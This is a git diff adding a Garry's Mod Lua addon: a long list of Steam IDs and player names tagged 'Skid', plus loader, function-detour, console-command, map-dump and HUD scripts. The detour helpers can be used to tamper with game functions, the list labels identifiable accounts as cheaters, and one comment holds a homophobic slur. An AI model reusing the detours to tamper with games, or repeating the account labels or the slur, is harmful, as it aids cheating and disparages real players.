(ThePCGamingGuys)", Skid = true}, + ["STEAM_0:0:26482577"] = {Name = "[MFT] gray22 [PL]", Skid = true}, + ["STEAM_0:1:654794"] = {Name = "NoReMoRsE", Skid = true}, + ["STEAM_0:0:22759703"] = {Name = "[]Insane[_]Haz[]", Skid = true}, + ["STEAM_0:1:35850209"] = {Name = "Nongee", Skid = true}, + ["STEAM_0:1:34911301"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:1:31942488"] = {Name = "Shadow", Skid = true}, + ["STEAM_0:1:28559895"] = {Name = "jplny98", Skid = true}, + ["STEAM_0:1:39057644"] = {Name = "fable-jack", Skid = true}, + ["STEAM_0:0:36060721"] = {Name = "Digital Instanity<3RainbowDash", Skid = true}, + ["STEAM_0:0:22571085"] = {Name = "thenoize", Skid = true}, + ["STEAM_0:1:9933049"] = {Name = "[MoW]Phage", Skid = true}, + ["STEAM_0:1:24747966"] = {Name = "AppleJack", Skid = true}, + ["STEAM_0:1:34227937"] = {Name = "[Tac97]Mr2Bombs", Skid = true}, + ["STEAM_0:0:43460090"] = {Name = "Floopy Floopy Floooop", Skid = true}, + ["STEAM_0:0:48684701"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:0:24357756"] = {Name = "Kenny[FIN]", Skid = true}, + ["STEAM_0:0:37813021"] = {Name = "DPG| xJester", Skid = true}, + ["STEAM_0:0:15031301"] = {Name = "TH3 B1TZH |DK #ZacTity MM acc", Skid = true}, + ["STEAM_0:0:43676365"] = {Name = "Rotten", Skid = true}, + ["STEAM_0:1:36817398"] = {Name = "Melon", Skid = true}, + ["STEAM_0:1:4173280"] = {Name = "[ivG] MaGmA ViNx", Skid = true}, + ["STEAM_0:1:38577561"] = {Name = "FuriousJack95", Skid = true}, + ["STEAM_0:0:39131004"] = {Name = "<-zmm->whyme", Skid = true}, + ["STEAM_0:1:16702015"] = {Name = "Mr.UNSCspartan117", Skid = true}, + ["STEAM_0:1:23793842"] = {Name = "Eddeh", Skid = true}, + ["STEAM_0:1:40527896"] = {Name = "-ML Ultra", Skid = true}, + ["STEAM_0:0:39260710"] = {Name = "Will - Leafeon", Skid = true}, + ["STEAM_0:1:18916913"] = {Name = "PancakeWagon", Skid = true}, + ["STEAM_0:1:31102962"] = {Name = "Afroman", Skid = true}, + ["STEAM_0:1:5762375"] = {Name = "-=NrK=- Link2006 *Qc", Skid = true}, + ["STEAM_0:0:30924095"] = {Name = "siviler", Skid = true}, + ["STEAM_0:1:32723575"] = {Name = "LewzR", Skid = true}, + ["STEAM_0:0:19804927"] = {Name = "Roflcopta", Skid = true}, + ["STEAM_0:0:40983680"] = {Name = "Terrifying Toddler", Skid = true}, + ["STEAM_0:0:18173401"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:0:30969162"] = {Name = "Cryoshell", Skid = true}, + ["STEAM_0:1:27865258"] = {Name = "Fail", Skid = true}, + ["STEAM_0:0:39786830"] = {Name = "dP | Teraz", Skid = true}, + ["STEAM_0:1:28082560"] = {Name = "Reedtheman", Skid = true}, + ["STEAM_0:0:20495521"] = {Name = "[RevG] Devvy", Skid = true}, + ["STEAM_0:1:35890901"] = {Name = "ig0r", Skid = true}, + ["STEAM_0:0:24053454"] = {Name = "[ZCC] Darkness", Skid = true}, + ["STEAM_0:0:41862193"] = {Name = "Qdrpl", Skid = true}, + ["STEAM_0:0:16963824"] = {Name = "Yamaha", Skid = true}, + ["STEAM_0:0:23858171"] = {Name = "DoritosMan", Skid = true}, + ["STEAM_0:1:11364880"] = {Name = "Varo", Skid = true}, + ["STEAM_0:0:20840781"] = {Name = "[Omega]knotty.the.slayer", Skid = true}, + ["STEAM_0:0:31586970"] = {Name = "Soldierboy", Skid = true}, + ["STEAM_0:0:43103634"] = {Name = "TheDarkRapistInsideYou", Skid = true}, + ["STEAM_0:0:34523451"] = {Name = "CaptainHand", Skid = true}, + ["STEAM_0:0:9017766"] = {Name = "Toster40", Skid = true}, + ["STEAM_0:1:32104346"] = {Name = "[cwN] F1REWALL", Skid = true}, + ["STEAM_0:0:16112398"] = {Name = "Pip", Skid = true}, + ["STEAM_0:1:24224987"] = {Name = "Nave321", Skid = true}, + ["STEAM_0:0:41633279"] = {Name = "Warrdogg", Skid = true}, + ["STEAM_0:0:43527716"] = {Name = "coxnathan23", Skid = true}, + ["STEAM_0:0:14364409"] = {Name = " [FR]M.Breadcrab", Skid = true}, + ["STEAM_0:0:34111703"] = {Name = "Bob", Skid = true}, + ["STEAM_0:1:25849684"] = {Name = "Teh UDS :3", Skid = true}, + ["STEAM_0:1:29502701"] = {Name = "openBSD", Skid = true}, + ["STEAM_0:0:47354457"] = {Name = "Freshminty", Skid = true}, + ["STEAM_0:1:29226146"] = {Name = "HTML programmer", Skid = true}, + ["STEAM_0:0:15128120"] = {Name = "Thermadyle", Skid = true}, + ["STEAM_0:1:7636698"] = {Name = "Criminalz", Skid = true}, + ["STEAM_0:0:27178652"] = {Name = "`?k?´`?i?´`?e?´`?", Skid = true}, + ["STEAM_0:0:37112930"] = {Name = "Just A Squirrel", Skid = true}, + ["STEAM_0:1:17321511"] = {Name = "Cibbi", Skid = true}, + ["STEAM_0:1:30992461"] = {Name = "www.youtube.com/OnlineHax", Skid = true}, + ["STEAM_0:1:16323273"] = {Name = "(=CG=) Inject OH 4", Skid = true}, + ["STEAM_0:1:41842035"] = {Name = "Mysterious", Skid = true}, + ["STEAM_0:0:16149334"] = {Name = "Random", Skid = true}, + ["STEAM_0:1:19074000"] = {Name = "[BBaH] tri lord xxyz [NDR]", Skid = true}, + ["STEAM_0:1:39843165"] = {Name = "[CSN] fargalarga", Skid = true}, + ["STEAM_0:1:30877682"] = {Name = "[OB] Sillyjuly", Skid = true}, + ["STEAM_0:0:27013904"] = {Name = "FireFox", Skid = true}, + ["STEAM_0:0:22390610"] = {Name = "gros tony", Skid = true}, + ["STEAM_0:1:42265843"] = {Name = "Lond", Skid = true}, + ["STEAM_0:1:41949294"] = {Name = "Millsyrob", Skid = true}, + ["STEAM_0:1:22111898"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:1:35244513"] = {Name = "Sync' Epidemic", Skid = true}, + ["STEAM_0:0:18776030"] = {Name = "DJ-BlazE", Skid = true}, + ["STEAM_0:1:25234722"] = {Name = "g4amer-_holy", Skid = true}, + ["STEAM_0:0:35065489"] = {Name = "^Z?ph?", Skid = true}, + ["STEAM_0:1:15858852"] = {Name = "Stoned", Skid = true}, + ["STEAM_0:0:5413450"] = {Name = "wog222", Skid = true}, + ["STEAM_0:1:38477102"] = {Name = "CrazyCallum113", Skid = true}, + ["STEAM_0:0:45009736"] = {Name = "Door_Theif", Skid = true}, + ["STEAM_0:1:32661146"] = {Name = "Android Phantom", Skid = true}, + ["STEAM_0:1:43732934"] = {Name = "Jesse Jackson", Skid = true}, + ["STEAM_0:0:25720134"] = {Name = "That Rapist Scout.", Skid = true}, + ["STEAM_0:1:15768300"] = {Name = "h3adak3", Skid = true}, + ["STEAM_0:0:11051833"] = {Name = "Pvt. R. Ryan [1st MD]", Skid = true}, + ["STEAM_0:0:36154666"] = {Name = "[CSN] Arokin", Skid = true}, + ["STEAM_0:1:13844417"] = {Name = "PyRoMaNiAc", Skid = true}, + ["STEAM_0:0:37158615"] = {Name = "Tojba", Skid = true}, + ["STEAM_0:0:37459709"] = {Name = "JU5TIN", Skid = true}, + ["STEAM_0:1:37594530"] = {Name = "ANTSU1", Skid = true}, + ["STEAM_0:1:29427364"] = {Name = "Ninjawitz", Skid = true}, + ["STEAM_0:1:17416034"] = {Name = "Zylos[ Everett ] :3", Skid = true}, + ["STEAM_0:0:26851433"] = {Name = "Pikajew", Skid = true}, + ["STEAM_0:0:41739109"] = {Name = "Flashforward x", Skid = true}, + ["STEAM_0:1:27123947"] = {Name = "One", Skid = true}, + ["STEAM_0:1:25594202"] = {Name = "{GTmobiusGT}", Skid = true}, + ["STEAM_0:0:18957995"] = {Name = "(AoN) Vallis. KNOBHEAD", Skid = true}, + ["STEAM_0:1:28033783"] = {Name = "| SLA | Zapulater", Skid = true}, + ["STEAM_0:0:21500576"] = {Name = "General McGravy [GrapeTF2]", Skid = true}, + ["STEAM_0:1:2848105"] = {Name = "Im a Ninjer", Skid = true}, + ["STEAM_0:1:43911188"] = {Name = "Sykranos", Skid = true}, + ["STEAM_0:0:26027365"] = {Name = "murphdog2007", Skid = true}, + ["STEAM_0:0:43709814"] = {Name = "Cobs", Skid = true}, + ["STEAM_0:1:25907586"] = {Name = "K.F.S R.S", Skid = true}, + ["STEAM_0:1:30992549"] = {Name = "retardest", Skid = true}, + ["STEAM_0:1:28908197"] = {Name = "Zira", Skid = true}, + ["STEAM_0:1:11829672"] = {Name = "FailedMailMan", Skid = true}, + ["STEAM_0:1:34600552"] = {Name = "Andrew", Skid = true}, + ["STEAM_0:1:34194067"] = {Name = "Triple Mushrooms x3 | Meow", Skid = true}, + ["STEAM_0:0:31011603"] = {Name = "Kiyoshi", Skid = true}, + ["STEAM_0:0:37045310"] = {Name = "[Ger] EliteGI I Gmod.BiZ", Skid = true}, + ["STEAM_0:1:40143283"] = {Name = "DefiasDerNekro <-{AMTF}->", Skid = true}, + ["STEAM_0:0:26567268"] = {Name = "GreedyGoat1337", Skid = true}, + ["STEAM_0:1:9463261"] = {Name = "/FL-L Lethal (Dexter)", Skid = true}, + ["STEAM_0:0:45911179"] = {Name = "?Ramon?", Skid = true}, + ["STEAM_0:1:26559697"] = {Name = "Nighthawk12", Skid = true}, + ["STEAM_0:0:21513525"] = {Name = "Policece cheef", Skid = true}, + ["STEAM_0:1:16689138"] = {Name = "?ac?ica? a?47??--", Skid = true}, + ["STEAM_0:0:18102368"] = {Name = "The Black Cuervo", Skid = true}, + ["STEAM_0:1:32056842"] = {Name = "KingOblivion411", Skid = true}, + ["STEAM_0:0:13638346"] = {Name = "Z-Fox", Skid = true}, + ["STEAM_0:1:32675280"] = {Name = "'Weegee", Skid = true}, + ["STEAM_0:0:24771886"] = {Name = "Prodigy", Skid = true}, + ["STEAM_0:0:26754479"] = {Name = "Mirc[NL]", Skid = true}, + ["STEAM_0:1:33994906"] = {Name = "cat", Skid = true}, + ["STEAM_0:1:16651350"] = {Name = "DjVip3rStrike", Skid = true}, + ["STEAM_0:1:42095815"] = {Name = "jacksinkler", Skid = true}, + ["STEAM_0:0:27505423"] = {Name = "|CG| Zipp42", Skid = true}, + ["STEAM_0:1:2464554"] = {Name = "Mossimo", Skid = true}, + ["STEAM_0:0:38202656"] = {Name = "lucas.black", Skid = true}, + ["STEAM_0:0:33563935"] = {Name = "Sk1||4ct1v4t3t[xX]Pr0M@n4g3r[xX", Skid = true}, + ["STEAM_0:1:42319745"] = {Name = "Anti", Skid = true}, + ["STEAM_0:0:39286435"] = {Name = "den fede kat", Skid = true}, + ["STEAM_0:0:24935839"] = {Name = "[JI] Wiiman789", Skid = true}, + ["STEAM_0:0:17464190"] = {Name = "EpiCKilleR", Skid = true}, + ["STEAM_0:1:11650863"] = {Name = "iDevinci", Skid = true}, + ["STEAM_0:1:44371222"] = {Name = "Connor", Skid = true}, + ["STEAM_0:0:28614059"] = {Name = "(PNPS) Lz.Jwad", Skid = true}, + ["STEAM_0:0:25812285"] = {Name = "Nomical", Skid = true}, + ["STEAM_0:1:28176330"] = {Name = "hTw", Skid = true}, + ["STEAM_0:0:12099804"] = {Name = "?cã?? Ðeãthßlãde", Skid = true}, + ["STEAM_0:0:12307269"] = {Name = "prylour", Skid = true}, + ["STEAM_0:0:25812910"] = {Name = "Gen.McMuff1n", Skid = true}, + ["STEAM_0:1:11254318"] = {Name = "Mr.PRO", Skid = true}, + ["STEAM_0:1:27945691"] = {Name = "[ZCC] Sly Unicorn", Skid = true}, + ["STEAM_0:0:36831393"] = {Name = "[^1Y^9T^7]Halber SchamHahn", Skid = true}, + ["STEAM_0:0:43372066"] = {Name = "Pepper", Skid = true}, + ["STEAM_0:0:37025247"] = {Name = "Juholei1 [FIN]", Skid = true}, + ["STEAM_0:1:36506186"] = {Name = "P3RF3CT1ON", Skid = true}, + ["STEAM_0:1:33687954"] = {Name = "Anthr4X", Skid = true}, + ["STEAM_0:0:25093119"] = {Name = "[6kx3] Blue Kirby", Skid = true}, + ["STEAM_0:1:45277901"] = {Name = "Alatreonslayer", Skid = true}, + ["STEAM_0:0:12562190"] = {Name = "Dmitri21", Skid = true}, + ["STEAM_0:0:30599736"] = {Name = "AUSTENxTHExNINJA", Skid = true}, + ["STEAM_0:1:39483232"] = {Name = "|-.-|", Skid = true}, + ["STEAM_0:0:35400704"] = {Name = "|Bhop| A NomANom Monster", Skid = true}, + ["STEAM_0:1:26367423"] = {Name = "(PGCUK)Pezzzz", Skid = true}, + ["STEAM_0:1:13857871"] = {Name = "-[PuG]- Armyguy!", Skid = true}, + ["STEAM_0:1:33573521"] = {Name = "thingkiller", Skid = true}, + ["STEAM_0:0:18706064"] = {Name = "[NC] TheBlueWolf", Skid = true}, + ["STEAM_0:1:34120081"] = {Name = "?Stewie?", Skid = true}, + ["STEAM_0:1:24966821"] = {Name = "| DPG | Hasular | PoKi |", Skid = true}, + ["STEAM_0:0:30472970"] = {Name = "(PNPS) Haters Gonna Hate :3", Skid = true}, + ["STEAM_0:0:33769447"] = {Name = "Ulven mogens", Skid = true}, + ["STEAM_0:1:32002858"] = {Name = "-[FF]- M Night Shlongalong", Skid = true}, + ["STEAM_0:1:26203842"] = {Name = "PBS", Skid = true}, +} + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua new file mode 100644 index 0000000..f549870 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua @@ -0,0 +1,44 @@ + + +if not iface3 then + HeXInclude = include +end +local Typ = type(HeX) +if (Typ == "number" or Typ == "boolean") then + _G.HeXGlobal_AC = true +end +HeX = { + include = HeXInclude, +} + +HeX.include("HeX/hx_loader_modules.lua") +HeX.include("HeX/hx_loader_meta.lua") +HeX.include("HeX/hx_loader_globals.lua") + +IsMainGMod = file.Exists("MAIN.lua",true) + +if (SERVER) then + for k,v in ipairs( file.FindInLua("HeX/server/*.lua") ) do + Msg(" HeX/server/"..v.."\n") + include("HeX/server/"..v) + end +end + +for k,v in ipairs( file.FindInLua("HeX/sh_*.lua") ) do + Msg(" HeX/"..v.."\n") + HeX.include("HeX/"..v) +end + + +if (CLIENT) then + for k,v in ipairs( file.FindInLua("HeX/client/*.lua") ) do + Msg(" HeX/"..v.."\n") + HeX.include("HeX/client/"..v) + end +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua new file mode 100644 index 0000000..b46ab82 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua @@ -0,0 +1,221 @@ + + +GREEN = Color(66,255,96) --HSP green +SGREEN = Color(180,250,160) --source green +GREEN2 = Color(0,255,0) +LtGreen = Color(174,255,0) +WHITE = Color(255,255,255) --white +RED = Color(255,0,11) --red +RED2 = Color(255,0,0) --More red +KIRED = Color(255,80,0,255) +BLUE = Color(51,153,255) --HeX Blue +LPBLUE = Color(80,170, 255) --Laser pistol blue +YELLOW = Color(255,200,0,255) --yellow +YELLOW2 = Color(255,220,0,200) --HEV yellow +PINK = Color(255,0, 153) --faggot pink +PBLUE = Color(155,205,248) --printall blue +PURPLE = Color(149,102,255) --ASK2 purple +ORANGE = Color(255,153,0) --respected orange +GREY = Color(175,175,175) --blackops grey +KCHEAT = Color(249,199,255) + +TRUE = function() return true end +FALSE = function() return false end +Useless = function() end + +local ToSet = { + NotCCC = CreateClientConVar, + NotRCC = RunConsoleCommand, + NotGCV = GetConVar, + NotFFIL = file.FindInLua, + NotFF = file.Find, + NotFD = file.Delete, + NotDGI = debug.getinfo, + NotCCA = concommand.Add, +} +for k,v in pairs(ToSet) do + if not _G[k] then + _G[k] = v + end +end + + +function HeX.MyCall(lev) + local DGI = NotDGI(lev or 3) + if not DGI then return "Gone", 0 end + + local Path = (DGI.short_src or "Gone"):gsub("\\","/") + local Line = (DGI.linedefined or 0) + + return Path,Line +end +function HeX.FPath(func) + local What = type(func) + if not (What == "function") then return What,0 end + local DGI = NotDGI(func) + if not DGI then return "Gone",0 end + + local Path = (DGI.short_src or What):gsub("\\","/") + local Line = (DGI.linedefined or 0) + + return Path,Line +end + + +--- === If anyone ever reads this, these are NOT for hacking since it's pointless. They are for idiot servers and garry's fuckups === --- +HeX.Detour = { + Saved = {} +} + +function HeX.Detour.Meta(lib,func,new) + if not (lib and func and new) then + error("Missing args from HeX.Detour.Meta(lib,func,new)", 2) + end + + if not _R[lib][func] then + error("Missing table, '_R."..lib.."."..func.."' doesn't exist", 2) + end + + if _R[lib][func.."Old"] then + _R[lib][func] = _R[lib][func.."Old"] + _R[lib][func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = _R[lib][func], new = new} + _R[lib][func.."Old"] = _R[lib][func] + _R[lib][func] = new +end +--[[ +HeX.Detour.Meta("Player", "PrintMessage", function(new) end) + +HeX.Detour.Meta("bf_read", "ReadString", function(new) end) +]] + +function HeX.Detour.Global(lib,func,new) + if not (lib and func and new) then + error("Missing args from HeX.Detour.Global(lib,func,new)", 2) + end + + local where = lib + if where == "_G" then + where = _G + else + where = _G[where] + end + + if not where then --Table doesn't exists in _G + error("Missing table, '_G."..lib.."."..func.."' doesn't exist", 2) + end + + if where[func.."Old"] then + where[func] = where[func.."Old"] + where[func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = where[func], new = new} + where[func.."Old"] = where[func] + where[func] = new +end + +--[[ +HeX.Detour.Global("os", "date", function(new) end) + +HeX.Detour.Global("_G", "PrintMessage", function(new) end) +]] + + +if (SERVER) then + function HeX.Detour.DumpSV(ply,cmd,args) + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", k, HeX.FPath(v.old), HeX.FPath(v.new) ) + end + end + concommand.Add("hex_dump_detours_sv", HeX.Detour.DumpSV) +end + +if (CLIENT) then + function HeX.Detour.DumpCL(ply,cmd,args) + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", k, HeX.FPath(v.old), HeX.FPath(v.new) ) + end + end + concommand.Add("hex_dump_detours_cl", HeX.Detour.DumpCL) + + + function COLCON(...) + if fuckup then + for k,v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = color_white + for k,v in pairs( {...} ) do + local typ = type(v) + + if (typ == "table" && v["b"] && v["g"] && v["r"]) then + color = v + elseif (typ == "Player" and IsValid(v)) then + console.PrintColor(team.GetColor(v:Team()), v:GetName()) + elseif ((typ == "Entity" or typ == "Weapon" or typ == "Vehicle" or typ == "NPC") and IsValid(v)) then + console.PrintColor(EntityColor, v:GetClass()) + else + console.PrintColor(color, tostring(v)) + end + end + console.PrintColor(color, "\n") + end + + function HeXLRCL(str) + if fuckup then + print("! HeXLRCL compat: ", str) + LocalPlayer():ConCommand(str) + return + end + + console.Command(str) + end + + function HeX.SetupGlobals() + RunConsoleCommand("hostname", GetHostName() ) + RunConsoleCommand("hostip", client.GetIP() ) + end + hook.Add("InitPostEntity", "!HeX.SetupGlobals", HeX.SetupGlobals) + if iface3 then + timer.Simple(0.1, HeX.SetupGlobals) + end + + + + local ToPrint = {} + local Done = false + function printDelay(what) + if Done then + return print(what) + end + ToPrint[what] = true + end + + local function PrintSaved() + Done = true + for k,v in pairs(ToPrint) do + print(k) + end + end + timer.Simple(0.1, PrintSaved) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua new file mode 100644 index 0000000..a3e2a17 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua @@ -0,0 +1,43 @@ + + + +local pMeta = FindMetaTable("Player") + +function pMeta:TeamColor() + return team.GetColor( self:Team() ) +end + +function pMeta:IsHeX() + return self:SteamID() == "STEAM_0:0:17809124" +end + +function pMeta:SID() + return self:SteamID():gsub(":","_") +end + + +function HeX.StringInTable(str,tab) + if not tab then + ErrorNoHalt("StringInTable, no table!\n", 2) + return false,false,false + end + + for k,v in pairs(tab) do + if str:find(v) then + return true,k,v + end + end + return false,false,false +end +string.InTable = HeX.StringInTable + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua new file mode 100644 index 0000000..187a302 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua @@ -0,0 +1,14 @@ + + +if (CLIENT) then + if not client then + require("extras") + end + if not client then + fuckup = true + end +end + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua new file mode 100644 index 0000000..3da111e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua @@ -0,0 +1,22 @@ + + + +local function ShowTheSpawns() + for k,v in pairs( ents.FindByClass("info_player_*") ) do + local Where = v:GetPos() + + local ent = ents.Create("sent_ball") + ent:SetPos( Where + Vector(0,0,60) ) + ent:Spawn() + ent:GetPhysicsObject():Sleep() + + print("! spawnpoint at: ", Where) + end +end +concommand.Add("00_BouncySpawnPoint", ShowTheSpawns) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua new file mode 100644 index 0000000..9ee0170 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua @@ -0,0 +1,14 @@ + + + +hook.Add("SetupMove", "InfAngle", function(ply, cmd) + local ang = cmd:GetMoveAngles() + + if not (ang.p >= 0 or ang.p <= 0) or not (ang.y >= 0 or ang.y <= 0) or not (ang.r >= 0 or ang.r <= 0) then + cmd:SetMoveAngles(Angle(0, 0, 0)) + ply:SetEyeAngles(Angle(0, 0, 0)) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua new file mode 100644 index 0000000..4db2d65 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua @@ -0,0 +1,14 @@ + + + +hook.Add("PlayerSpawnedVehicle", "GUNS", function(p,e) + e:SetKeyValue("EnableGun","1") + e:Fire("SetCargoHopperVisibility",1,0) + e:Fire("EnableRadar",1,0) +end) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua new file mode 100644 index 0000000..9936fc4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua @@ -0,0 +1,116 @@ + + +local GoodEnts = { + "prop_physics", + "prop_physics_multiplayer", + "prop_physics_override", + "gmod_thruster", + "gmod_hoverball", + "gmod_turret", + "npc_turret_floor", + "prop_vehicle_prisoner_pod", + "prop_vehicle_jeep", +} + +local DumpFile = "mapdump-"..game.GetMap():lower().."-" + +DumpTAB = {} + +if (CLIENT) then + function TakeDump(p,c,a) + local Name = a[1] or "Fuck" + local DumpFile = DumpFile..Name..".txt" + + DumpTAB = {} + + local i = 0 + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) and not v:IsPlayer() and table.HasValue(GoodEnts, v:GetClass()) then + + local Tab = { + egc = v:GetClass(), + mdl = v:GetModel(), + skn = v:GetSkin(), + mat = v:GetMaterial(), + col = v:GetColor(), + pos = v:GetPos(), + ang = v:GetAngles(), + } + table.insert(DumpTAB, Tab) + i = i + 1 + end + end + + file.Write(DumpFile, glon.encode(DumpTAB) ) + print("! saved: ", i, " entities as: ", DumpFile) + end + concommand.Add("hex_dump_map", TakeDump) +end + + +if (SERVER) then + function LoadDump(p,c,a) + local Name = a[1] or "Fuck" + local DumpFile = DumpFile..Name..".txt" + + if not file.Exists(DumpFile) then + error("! fuckup, DumpFile gone!") + end + + _G["DumpTAB"] = glon.decode( file.Read(DumpFile) ) + + local i = 0 + for k,v in ipairs(DumpTAB) do + local egc = v.egc + local mdl = v.mdl + local skn = v.skn + local mat = v.mat + local col = v.col + local pos = v.pos + local ang = v.ang + + local ent = ents.Create(egc) + ent:SetModel(mdl) + ent:SetSkin(skn) + ent:SetMaterial(mat) + --ent:SetColor(col) + ent:SetPos(pos) + ent:SetAngles(ang) + ent:Spawn() + + local phys = ent:GetPhysicsObject() + if phys:IsValid() then + phys:EnableMotion(false) + end + i = i + 1 + end + + DumpTAB = {} + + print("! loaded: ", i, " entities from: ", DumpFile) + end + concommand.Add("hex_load_map", LoadDump) +end + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua new file mode 100644 index 0000000..d002b3a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_GarbageCollector.lua @@ -0,0 +1,19 @@ + + +local CVAR = CreateClientConVar("garbage_step",150,true,false) +local TURN_GC_OFF = CreateClientConVar("garbage_collection",1,true,false) + + +local function GarbageThink() + if not (TURN_GC_OFF) then return end + collectgarbage("step",CVAR:GetInt()) +end +hook.Add("Think","GarbageThink",GarbageThink) + + +concommand.Add("garbage_kill", function() + hook.Remove("Think","GarbageThink") +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua new file mode 100644 index 0000000..740c619 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_Healthbar.lua @@ -0,0 +1,65 @@ + +if CLIENT then + surface.CreateFont("coolvetica", 30, 80, true, false, "HealthFont" ) + surface.CreateFont("coolvetica", 22, 50, true, false, "HealthNumberFont") + + local function HealthBar() + local trace = util.TraceLine( utilx.GetPlayerTrace(LocalPlayer(), LocalPlayer():GetCursorAimVector() ) ) + + local LookingHealth = LocalPlayer():GetNWInt("LookingHealth") + local LookingMaxHealth = LocalPlayer():GetNWInt("LookingMaxHealth") + + if (!trace.Hit) then return end + if (!trace.HitNonWorld) then return end + + local x,y = gui.MousePos() + draw.SimpleText(trace.Entity:GetClass(), "HealthFont", x+100, y + 20, Color(255,255,255,255),1,1) + + if LookingHealth != 0 && LookingMaxHealth >= LookingHealth then + surface.SetDrawColor( 255,255,255,255 ) --255,0,0,255 + surface.DrawRect( x + 20, y + 40, 150, 15 ) + surface.SetDrawColor( 0,255,0,255 ) + surface.DrawRect( x + 20, y + 40, (LookingHealth / LookingMaxHealth * 150), 15 ) + surface.SetDrawColor( 0,0,0,255 ) + surface.DrawRect( x + 16, y + 40, 4, 15 ) + surface.DrawRect( x + 170, y + 40, 5, 15 ) + surface.DrawRect( x + 16, y + 36, 159, 4 ) + surface.DrawRect( x + 16, y + 55, 159, 4 ) + surface.DrawRect( x + 15, y + 42, 1, 13 ) + surface.DrawRect( x + 175, y + 42, 1, 13 ) + surface.DrawRect( x + 14, y + 44, 1, 9 ) + surface.DrawRect( x + 176, y + 44, 1, 9 ) + draw.SimpleText(LookingHealth.. "/" .. LookingMaxHealth, "HealthNumberFont", x + 90, y + 49, Color(255,0,0,255),1,1) + + elseif LookingHealth != 0 && LookingMaxHealth <= LookingHealth then + surface.SetDrawColor( 255,255,255,255 ) --255,0,0,255 + surface.DrawRect( x + 20, y + 40, 150, 15 ) + 